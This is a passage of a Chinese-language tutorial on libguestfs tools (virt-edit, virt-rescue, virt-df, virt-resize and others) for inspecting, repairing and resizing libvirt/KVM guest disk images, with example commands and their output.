&lt;li&gt;&lt;code&gt;virt-cat&lt;&#x2F;code&gt;是模拟&lt;code&gt;guestfish&lt;&#x2F;code&gt;的&lt;code&gt;download&lt;&#x2F;code&gt;命令。该命令下载和显示一个简单的文件。例如：&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre&gt;&lt;code&gt;virt-cat RHEL3 &amp;#x2F;etc&amp;#x2F;ntp.conf | grep ^server
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;virt-edit&lt;&#x2F;code&gt;是模拟&lt;code&gt;guestfish&lt;&#x2F;code&gt;的&lt;code&gt;edit&lt;&#x2F;code&gt;命令，用于和guest虚拟机的单个文件交互。例如，需要修改Linux虚拟机的&lt;code&gt;grub.conf&lt;&#x2F;code&gt;配置&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre&gt;&lt;code&gt;virt-edit LinuxGuest &amp;#x2F;boot&amp;#x2F;grub&amp;#x2F;grub.conf
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;code&gt;virt-edit&lt;&#x2F;code&gt;还有一个简单的非交互方式修改文件。也就是使用&lt;code&gt;-e&lt;&#x2F;code&gt;参数，例如，以下命令修改(去除)Linux guest虚拟机的root密码：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;virt-edit LinuxGuest &amp;#x2F;etc&amp;#x2F;passwd -e &amp;#x27;s&amp;#x2F;^root:.*?:&amp;#x2F;root::&amp;#x2F;&amp;#x27;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;virt-ls&lt;&#x2F;code&gt;是模拟&lt;code&gt;guestfish&lt;&#x2F;code&gt;的&lt;code&gt;ls&lt;&#x2F;code&gt;命令，&lt;code&gt;ll&lt;&#x2F;code&gt;以及&lt;code&gt;find&lt;&#x2F;code&gt;命令，用于递归显示目录。例如，以下命令将递归列出files和&lt;code&gt;&#x2F;home&lt;&#x2F;code&gt;目录下目录：&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre&gt;&lt;code&gt;virt-ls -R LinuxGuest &amp;#x2F;home&amp;#x2F; | less
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;virt-rescue-jiu-yuan-shell&quot;&gt;&lt;code&gt;virt-rescue&lt;&#x2F;code&gt;: 救援shell&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;code&gt;virt-rescue&lt;&#x2F;code&gt;可以视为类似虚拟机的救援CD。它可以启动虚拟机进入救援shell，这样就可以修复虚拟机错误。&lt;&#x2F;p&gt;
&lt;p&gt;在&lt;code&gt;virt-rescue&lt;&#x2F;code&gt;和&lt;code&gt;guestfish&lt;&#x2F;code&gt;有部分功能充电。重要的区别是不同的使用方式，&lt;code&gt;virt-rescue&lt;&#x2F;code&gt;是交互方式，&lt;code&gt;ad-hoc&lt;&#x2F;code&gt;修改使用原始的Linux文件系统工具。&lt;code&gt;virt-rescue&lt;&#x2F;code&gt;不能脚本化，主要适用于在guest虚拟机故障时候修复。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;yun-xing-virt-rescue&quot;&gt;运行&lt;code&gt;virt-rescue&lt;&#x2F;code&gt;&lt;&#x2F;h3&gt;
&lt;blockquote&gt;
&lt;p&gt;这里案例使用&lt;code&gt;centos6&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;在针对guest虚拟机使用&lt;code&gt;virt-rescue&lt;&#x2F;code&gt;前，确保guest虚拟机没有运行，否则磁盘会发生损坏。在确定guest虚拟机没有运行后，可以输入如下命令：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;virt-rescue -d centos6
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;blockquote&gt;
&lt;p&gt;这里&lt;code&gt;centos6&lt;&#x2F;code&gt;是libvirt识别的虚拟机的名字，作为举例&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;这里会看到系统启动了一个救援Linux系统，可以使用很多Linux工具，就像启动了一个救援CD一样。注意，这时的根目录是rescue系统，还需要手工挂载虚拟机磁盘到&lt;code&gt;&#x2F;sysroot&lt;&#x2F;code&gt;目录下处理&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;virt-rescue: warning: virt-rescue doesn&amp;#x27;t work with the libvirt backend
at the moment.  As a workaround, forcing backend = &amp;#x27;direct&amp;#x27;.
supermin: mounting &amp;#x2F;proc
supermin: ext2 mini initrd starting up: 5.1.16 glibc
Starting &amp;#x2F;init script ...
starting version 219
specified group &amp;#x27;input&amp;#x27; unknown
[    0.796109] intel_rapl: no valid rapl domains found in package 0
Cannot find device &amp;quot;eth0&amp;quot;
Cannot find device &amp;quot;eth0&amp;quot;
RTNETLINK answers: Network is unreachable
mdadm: No arrays found in config file or automatically
  WARNING: Failed to connect to lvmetad. Falling back to device scanning.
  2 logical volume(s) in volume group &amp;quot;vg_centos6&amp;quot; now active
&amp;#x2F;init: line 136: ldmtool: command not found

------------------------------------------------------------

Welcome to virt-rescue, the libguestfs rescue shell.

Note: The contents of &amp;#x2F; are the rescue appliance.
You have to mount the guest&amp;#x27;s partitions under &amp;#x2F;sysroot
before you can examine them.

&amp;gt;&amp;lt;rescue&amp;gt;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;可以使用&lt;code&gt;df&lt;&#x2F;code&gt;命令&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;lt;rescue&amp;gt; df -h
Filesystem      Size  Used Avail Use% Mounted on
tmpfs            96M  116K   96M   1% &amp;#x2F;run
&amp;#x2F;dev            236M     0  236M   0% &amp;#x2F;dev
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;可以使用&lt;code&gt;fdisk&lt;&#x2F;code&gt;命令显示磁盘&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;lt;rescue&amp;gt; fdisk -l

Disk &amp;#x2F;dev&amp;#x2F;sda: 10.7 GB, 10737418240 bytes, 20971520 sectors
Units = sectors of 1 * 512 = 512 bytes
Sector size (logical&amp;#x2F;physical): 512 bytes &amp;#x2F; 512 bytes
I&amp;#x2F;O size (minimum&amp;#x2F;optimal): 512 bytes &amp;#x2F; 512 bytes
Disk label type: dos
Disk identifier: 0x0007a2ab

   Device Boot      Start         End      Blocks   Id  System
&amp;#x2F;dev&amp;#x2F;sda1   *        2048     1026047      512000   83  Linux
&amp;#x2F;dev&amp;#x2F;sda2         1026048    20971519     9972736   8e  Linux LVM

Disk &amp;#x2F;dev&amp;#x2F;sdb: 4294 MB, 4294967296 bytes, 8388608 sectors
Units = sectors of 1 * 512 = 512 bytes
Sector size (logical&amp;#x2F;physical): 512 bytes &amp;#x2F; 512 bytes
I&amp;#x2F;O size (minimum&amp;#x2F;optimal): 512 bytes &amp;#x2F; 512 bytes

Disk &amp;#x2F;dev&amp;#x2F;mapper&amp;#x2F;vg_centos6-lv_root: 9135 MB, 9135194112 bytes, 17842176 sectors
Units = sectors of 1 * 512 = 512 bytes
Sector size (logical&amp;#x2F;physical): 512 bytes &amp;#x2F; 512 bytes
I&amp;#x2F;O size (minimum&amp;#x2F;optimal): 512 bytes &amp;#x2F; 512 bytes

Disk &amp;#x2F;dev&amp;#x2F;mapper&amp;#x2F;vg_centos6-lv_swap: 1073 MB, 1073741824 bytes, 2097152 sectors
Units = sectors of 1 * 512 = 512 bytes
Sector size (logical&amp;#x2F;physical): 512 bytes &amp;#x2F; 512 bytes
I&amp;#x2F;O size (minimum&amp;#x2F;optimal): 512 bytes &amp;#x2F; 512 bytes

&amp;gt;&amp;lt;rescue&amp;gt;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;现在我们可以非常方便地将虚拟机磁盘挂载到&lt;code&gt;&#x2F;sysroot&lt;&#x2F;code&gt;下，进行下一步排查&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;lt;rescue&amp;gt; mount &amp;#x2F;dev&amp;#x2F;mapper&amp;#x2F;vg_centos6-lv_root &amp;#x2F;sysroot&amp;#x2F;

&amp;gt;&amp;lt;rescue&amp;gt; df -h
Filesystem                      Size  Used Avail Use% Mounted on
tmpfs                            96M  116K   96M   1% &amp;#x2F;run
&amp;#x2F;dev                            236M     0  236M   0% &amp;#x2F;dev
&amp;#x2F;dev&amp;#x2F;mapper&amp;#x2F;vg_centos6-lv_root  8.3G  2.4G  5.5G  31% &amp;#x2F;sysroot
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;virt-rescure&lt;&#x2F;code&gt;还支持很多命令选项，特别有用的是：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;--ro&lt;&#x2F;code&gt; - 只读模式操作虚拟机，这样就不会误修改虚拟机，特别是只做检查。当退出时，所有修改都会放弃。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;--network&lt;&#x2F;code&gt; - 激活rescue shell的网络访问，这样就可以下载或通过网络复制文件。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;virt-df-jian-shi-ci-pan-shi-yong&quot;&gt;&lt;code&gt;virt-df&lt;&#x2F;code&gt;: 监视磁盘使用&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;code&gt;virt-df&lt;&#x2F;code&gt;命令特别适合在物理服务器上直接检查虚拟机内部的磁盘使用率，这样就不用ssh登录到虚拟机内部就可以检查磁盘使用情况。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;virt-df -h -a &amp;#x2F;var&amp;#x2F;lib&amp;#x2F;libvirt&amp;#x2F;images&amp;#x2F;centos6.img
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;-h&lt;&#x2F;code&gt; 选项类似 &lt;code&gt;df&lt;&#x2F;code&gt; 命令的&lt;code&gt;-h&lt;&#x2F;code&gt;选项，表示&lt;code&gt;human-readable&lt;&#x2F;code&gt;模式，方便查看&lt;&#x2F;p&gt;
&lt;p&gt;也可以使用&lt;code&gt;-i&lt;&#x2F;code&gt;参数显示inode&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;显示输出类似&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;Filesystem                                Size       Used  Available  Use%
centos6.img:&amp;#x2F;dev&amp;#x2F;sda1                     476M        39M       408M    9%
centos6.img:&amp;#x2F;dev&amp;#x2F;vg_centos6&amp;#x2F;lv_root       8.2G       2.4G       5.4G   29%
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;注意&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;使用&lt;code&gt;virt-df&lt;&#x2F;code&gt;命令对于运行中的虚拟机也是安全的，因为它是只读访问。不过，对于运行时的虚拟机执行&lt;code&gt;virt-df&lt;&#x2F;code&gt;每次看到的磁盘使用情况会轻微不同。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;&lt;code&gt;virt-df&lt;&#x2F;code&gt;是设计用来集成监控工具的。允许系统管理员生成磁盘使用率的报告。并且支持&lt;code&gt;CSV&lt;&#x2F;code&gt;格式输出方便后续集成到程序中分析&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;virt-df --csv -d centos6
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;virt-resize-chi-xian-gai-bian-guestxu-ni-ji-ci-pan-da-xiao&quot;&gt;&lt;code&gt;virt-resize&lt;&#x2F;code&gt;：离线改变guest虚拟机磁盘大小&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;code&gt;virt-resize&lt;&#x2F;code&gt;是一个扩展或收缩guest虚拟机磁盘的工具。这个工具只能在虚拟机offline（关闭）时使用。&lt;code&gt;virt-resize&lt;&#x2F;code&gt;工作时会复制guest虚拟磁盘镜像并保留原始镜像不修改。这样就可以将原始镜像作为备份，不过这样需要平衡占用两倍磁盘空间。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;kuo-zhan-ci-pan-jing-xiang&quot;&gt;扩展磁盘镜像&lt;&#x2F;h3&gt;
&lt;blockquote&gt;
&lt;p&gt;这里案例使用&lt;code&gt;centos6&lt;&#x2F;code&gt;虚拟机完成&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;ul&gt;
&lt;li&gt;首先通过&lt;code&gt;virsh dumpxml centos6&lt;&#x2F;code&gt;查看libvirt中guest虚拟机的磁盘位置&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre&gt;&lt;code&gt;virsh dumpxml centos6
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;输出显示磁盘文件&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;    &amp;lt;disk type=&amp;#x27;file&amp;#x27; device=&amp;#x27;disk&amp;#x27;&amp;gt;
      &amp;lt;driver name=&amp;#x27;qemu&amp;#x27; type=&amp;#x27;qcow2&amp;#x27;&amp;#x2F;&amp;gt;
      &amp;lt;source file=&amp;#x27;&amp;#x2F;var&amp;#x2F;lib&amp;#x2F;libvirt&amp;#x2F;images&amp;#x2F;centos6.img&amp;#x27;&amp;#x2F;&amp;gt;
      &amp;lt;target dev=&amp;#x27;hda&amp;#x27; bus=&amp;#x27;ide&amp;#x27;&amp;#x2F;&amp;gt;
      &amp;lt;address type=&amp;#x27;drive&amp;#x27; controller=&amp;#x27;0&amp;#x27; bus=&amp;#x27;0&amp;#x27; target=&amp;#x27;0&amp;#x27; unit=&amp;#x27;0&amp;#x27;&amp;#x2F;&amp;gt;
    &amp;lt;&amp;#x2F;disk&amp;gt;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;可以看到磁盘文件是 &lt;code&gt;&#x2F;var&#x2F;lib&#x2F;libvirt&#x2F;images&#x2F;centos6.img&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;检查虚拟磁盘使用情况：使用&lt;code&gt;virt-df -h&lt;&#x2F;code&gt;和&lt;code&gt;virt-filesystems&lt;&#x2F;code&gt;来检查虚拟机磁盘&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre&gt;&lt;code&gt;virt-df -h -a &amp;#x2F;var&amp;#x2F;lib&amp;#x2F;libvirt&amp;#x2F;images&amp;#x2F;centos6.img
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;输出显示&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;Filesystem                                Size       Used  Available  Use%
centos6.img:&amp;#x2F;dev&amp;#x2F;sda1                     476M        39M       408M    9%
centos6.img:&amp;#x2F;dev&amp;#x2F;vg_centos6&amp;#x2F;lv_root       8.2G       2.4G       5.4G   29%
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre&gt;&lt;code&gt;virt-filesystems -a &amp;#x2F;var&amp;#x2F;lib&amp;#x2F;libvirt&amp;#x2F;images&amp;#x2F;centos6.img --all --long -h
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;输出显示&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;Name                    Type       VFS  Label MBR Size Parent
&amp;#x2F;dev&amp;#x2F;sda1               filesystem ext4 -     -   500M -
&amp;#x2F;dev&amp;#x2F;vg_centos6&amp;#x2F;lv_root filesystem ext4 -     -   8.5G -
&amp;#x2F;dev&amp;#x2F;vg_centos6&amp;#x2F;lv_swap filesystem swap -     -   1.0G -
&amp;#x2F;dev&amp;#x2F;vg_centos6&amp;#x2F;lv_root lv         -    -     -   8.5G &amp;#x2F;dev&amp;#x2F;vg_centos6
&amp;#x2F;dev&amp;#x2F;vg_centos6&amp;#x2F;lv_swap lv         -    -     -   1.0G &amp;#x2F;dev&amp;#x2F;vg_centos6
&amp;#x2F;dev&amp;#x2F;vg_centos6         vg         -    -     -   9.5G &amp;#x2F;dev&amp;#x2F;sda2
&amp;#x2F;dev&amp;#x2F;sda2               pv         -    -     -   9.5G -
&amp;#x2F;dev&amp;#x2F;sda1               partition  -    -     83  500M &amp;#x2F;dev&amp;#x2F;sda
&amp;#x2F;dev&amp;#x2F;sda2               partition  -    -     8e  9.5G &amp;#x2F;dev&amp;#x2F;sda
&amp;#x2F;dev&amp;#x2F;sda                device     -    -     -   10G  -
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h4 id=&quot;kuo-zhan-ci-pan-rawge-shi&quot;&gt;扩展磁盘（raw格式）&lt;&#x2F;h4&gt;
&lt;blockquote&gt;
&lt;p&gt;第一次实践时，使用了&lt;code&gt;truncate&lt;&#x2F;code&gt;命令构建新的虚拟磁盘，则&lt;code&gt;virt-resize&lt;&#x2F;code&gt;之后虚拟机磁盘就不再是&lt;code&gt;qcow2&lt;&#x2F;code&gt;格式，相应还要修改&lt;code&gt;centos6&lt;&#x2F;code&gt;虚拟机定义（&lt;code&gt;virsh edit centos6&lt;&#x2F;code&gt;），否则无法进一步使用&lt;code&gt;guestfish&lt;&#x2F;code&gt;和启动个虚拟机。&lt;&#x2F;p&gt;
&lt;p&gt;第二次实践，改为使用&lt;code&gt;qemu-img&lt;&#x2F;code&gt;命令来扩展虚拟机磁盘镜像，这样新的虚拟磁盘镜像格式不变，依然是&lt;code&gt;qcow2&lt;&#x2F;code&gt;，就没有这个问题。见后文！&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;ul&gt;
&lt;li&gt;先将源磁盘文件镜像重命令&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre&gt;&lt;code&gt;mv &amp;#x2F;var&amp;#x2F;lib&amp;#x2F;libvirt&amp;#x2F;images&amp;#x2F;centos6.img &amp;#x2F;var&amp;#x2F;lib&amp;#x2F;libvirt&amp;#x2F;images&amp;#x2F;centos6.img-origin
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;使用&lt;code&gt;truncate&lt;&#x2F;code&gt;命令构建一个新的虚拟磁盘(注意：这个磁盘镜像格式是&lt;code&gt;raw&lt;&#x2F;code&gt;)&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;hr &#x2F;&gt;
&lt;pre&gt;&lt;code&gt;truncate -s 15G &amp;#x2F;var&amp;#x2F;lib&amp;#x2F;libvirt&amp;#x2F;images&amp;#x2F;centos6.img
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;使用&lt;code&gt;virt-reize&lt;&#x2F;code&gt;从备份的源镜像&lt;code&gt;centos6.img-old&lt;&#x2F;code&gt;扩展成新镜像&lt;code&gt;centos6.img&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre&gt;&lt;code&gt;virt-resize &amp;#x2F;var&amp;#x2F;lib&amp;#x2F;libvirt&amp;#x2F;images&amp;#x2F;centos6.img-origin &amp;#x2F;var&amp;#x2F;lib&amp;#x2F;libvirt&amp;#x2F;images&amp;#x2F;centos6.img --expand &amp;#x2F;dev&amp;#x2F;sda2 --LV-expand &amp;#x2F;dev&amp;#x2F;vg_centos6&amp;#x2F;lv_root
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;输出显示成功完成磁盘扩展(这里我们扩展了虚拟内部LVM卷的&lt;code&gt;&#x2F;dev&#x2F;vg_centos6&#x2F;lv_root&lt;&#x2F;code&gt;)&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;[   0.0] Examining &amp;#x2F;var&amp;#x2F;lib&amp;#x2F;libvirt&amp;#x2F;images&amp;#x2F;centos6.img-old
**********

Summary of changes:

&amp;#x2F;dev&amp;#x2F;sda1: This partition will be left alone.

&amp;#x2F;dev&amp;#x2F;sda2: This partition will be resized from 9.5G to 14.5G.  The LVM PV
on &amp;#x2F;dev&amp;#x2F;sda2 will be expanded using the &amp;#x27;pvresize&amp;#x27; method.

&amp;#x2F;dev&amp;#x2F;vg_centos6&amp;#x2F;lv_root: This logical volume will be expanded to maximum
size.  The filesystem ext4 on &amp;#x2F;dev&amp;#x2F;vg_centos6&amp;#x2F;lv_root will be expanded
using the &amp;#x27;resize2fs&amp;#x27; method.

**********
[   3.0] Setting up initial partition table on &amp;#x2F;var&amp;#x2F;lib&amp;#x2F;libvirt&amp;#x2F;images&amp;#x2F;centos6.img
[   3.3] Copying &amp;#x2F;dev&amp;#x2F;sda1
 100% ⟦▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒⟧ 00:00
[   8.6] Copying &amp;#x2F;dev&amp;#x2F;sda2
 100% ⟦▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒⟧ 00:00
[  55.6] Expanding &amp;#x2F;dev&amp;#x2F;sda2 using the &amp;#x27;pvresize&amp;#x27; method
[  55.6] Expanding &amp;#x2F;dev&amp;#x2F;vg_centos6&amp;#x2F;lv_root using the &amp;#x27;resize2fs&amp;#x27; method

Resize operation completed with no errors.  Before deleting the old disk,
carefully check that the resized disk boots and works correctly.
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;检查验证磁盘镜像&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre&gt;&lt;code&gt;qemu-img info &amp;#x2F;var&amp;#x2F;lib&amp;#x2F;libvirt&amp;#x2F;images&amp;#x2F;centos6.img
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;显示磁盘15G&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;image: &amp;#x2F;var&amp;#x2F;lib&amp;#x2F;libvirt&amp;#x2F;images&amp;#x2F;centos6.img
file format: raw
virtual size: 15G (16106127360 bytes)
disk size: 2.5G
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;注意&lt;&#x2F;code&gt;：如果使用了&lt;code&gt;truncate&lt;&#x2F;code&gt;命令构建一个新的虚拟磁盘，会导致新的磁盘镜像是&lt;code&gt;raw&lt;&#x2F;code&gt;格式，就需要修订&lt;code&gt;virsh edit centos6&lt;&#x2F;code&gt;将磁盘类型修改成&lt;code&gt;raw&lt;&#x2F;code&gt;类似&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;pre&gt;&lt;code&gt;    &amp;lt;disk type=&amp;#x27;file&amp;#x27; device=&amp;#x27;disk&amp;#x27;&amp;gt;
      &amp;lt;driver name=&amp;#x27;qemu&amp;#x27; type=&amp;#x27;raw&amp;#x27;&amp;#x2F;&amp;gt;
      &amp;lt;source file=&amp;#x27;&amp;#x2F;var&amp;#x2F;lib&amp;#x2F;libvirt&amp;#x2F;images&amp;#x2F;centos6.img&amp;#x27;&amp;#x2F;&amp;gt;
      &amp;lt;target dev=&amp;#x27;hda&amp;#x27; bus=&amp;#x27;ide&amp;#x27;&amp;#x2F;&amp;gt;
      &amp;lt;address type=&amp;#x27;drive&amp;#x27; controller=&amp;#x27;0&amp;#x27; bus=&amp;#x27;0&amp;#x27; target=&amp;#x27;0&amp;#x27; unit=&amp;#x27;0&amp;#x27;&amp;#x2F;&amp;gt;
    &amp;lt;&amp;#x2F;disk&amp;gt;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;否则会导致启动&lt;code&gt;guestfish -d centos6&lt;&#x2F;code&gt;再次尝试attach磁盘时候报错&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;libguestfs: error: could not create appliance through libvirt.

Try running qemu directly without libvirt using this environment variable:
export LIBGUESTFS_BACKEND=direct

Original error from libvirt: internal error: process exited while connecting to monitor: 2017-04-19T08:07:53.468712Z qemu-kvm: -drive file=&amp;#x2F;var&amp;#x2F;lib&amp;#x2F;libvirt&amp;#x2F;images&amp;#x2F;centos6.img,format=qcow2,if=none,id=drive-scsi0-0-0-0,cache=writeback: could not open disk image &amp;#x2F;var&amp;#x2F;lib&amp;#x2F;libvirt&amp;#x2F;images&amp;#x2F;centos6.img: Image is not in qcow2 format [code=1 int1=-1]
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;再次检查虚拟磁盘是否扩容成15G&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;virt-filesystems -a &amp;#x2F;var&amp;#x2F;lib&amp;#x2F;libvirt&amp;#x2F;images&amp;#x2F;centos6.img --all --long -h
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;输出显示虚拟磁盘内部LVM卷已经扩展成15G&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;Name                    Type       VFS  Label MBR Size Parent
&amp;#x2F;dev&amp;#x2F;sda1               filesystem ext4 -     -   500M -
&amp;#x2F;dev&amp;#x2F;vg_centos6&amp;#x2F;lv_root filesystem ext4 -     -   14G  -
&amp;#x2F;dev&amp;#x2F;vg_centos6&amp;#x2F;lv_swap filesystem swap -     -   1.0G -
&amp;#x2F;dev&amp;#x2F;vg_centos6&amp;#x2F;lv_root lv         -    -     -   14G  &amp;#x2F;dev&amp;#x2F;vg_centos6
&amp;#x2F;dev&amp;#x2F;vg_centos6&amp;#x2F;lv_swap lv         -    -     -   1.0G &amp;#x2F;dev&amp;#x2F;vg_centos6
&amp;#x2F;dev&amp;#x2F;vg_centos6         vg         -    -     -   15G  &amp;#x2F;dev&amp;#x2F;sda2
&amp;#x2F;dev&amp;#x2F;sda2               pv         -    -     -   15G  -
&amp;#x2F;dev&amp;#x2F;sda1               partition  -    -     83  500M &amp;#x2F;dev&amp;#x2F;sda
&amp;#x2F;dev&amp;#x2F;sda2               partition  -    -     8e  15G  &amp;#x2F;dev&amp;#x2F;sda
&amp;#x2F;dev&amp;#x2F;sda                device     -    -     -   15G  -
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;blockquote&gt;
&lt;p&gt;这里有个疑问&lt;code&gt;sda1+sda2=15.5G&lt;&#x2F;code&gt;，大于&lt;code&gt;sda&lt;&#x2F;code&gt;的15G?&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;pre&gt;&lt;code&gt;dev&amp;#x2F;sda1               partition  -    -     83  500M &amp;#x2F;dev&amp;#x2F;sda
&amp;#x2F;dev&amp;#x2F;sda2               partition  -    -     8e  15G  &amp;#x2F;dev&amp;#x2F;sda
&amp;#x2F;dev&amp;#x2F;sda                device     -    -     -   15G  -
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;实际启动虚拟机后验证，在虚拟机内部通过&lt;code&gt;lvdisplay&lt;&#x2F;code&gt;可以看到&lt;code&gt;&#x2F;dev&#x2F;vg_centos6&#x2F;lv_root&lt;&#x2F;code&gt;的&lt;code&gt;LV Size                13.51 GiB&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;使用&lt;code&gt;virt-resize&lt;&#x2F;code&gt;指令扩展虚拟机磁盘大小以及&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;注意&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;如果是LVM卷作为虚拟机的磁盘，则先创建一个大于现有LVM逻辑卷的LVM卷，然后通过&lt;code&gt;virt-resize&lt;&#x2F;code&gt;将原先的卷复制扩展到新的卷上实现虚拟机磁盘扩展，详细可参考RHEL手册&lt;a href=&quot;virt-resize:%20Resizing%20Guest%20Virtual%20Machines%20Offline&quot;&gt;virt-resize: Resizing Guest Virtual Machines Offline&lt;&#x2F;a&gt;，原理是相同的。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h4 id=&quot;kuo-zhan-ci-pan-qcow2ge-shi&quot;&gt;扩展磁盘（qcow2格式）&lt;&#x2F;h4&gt;
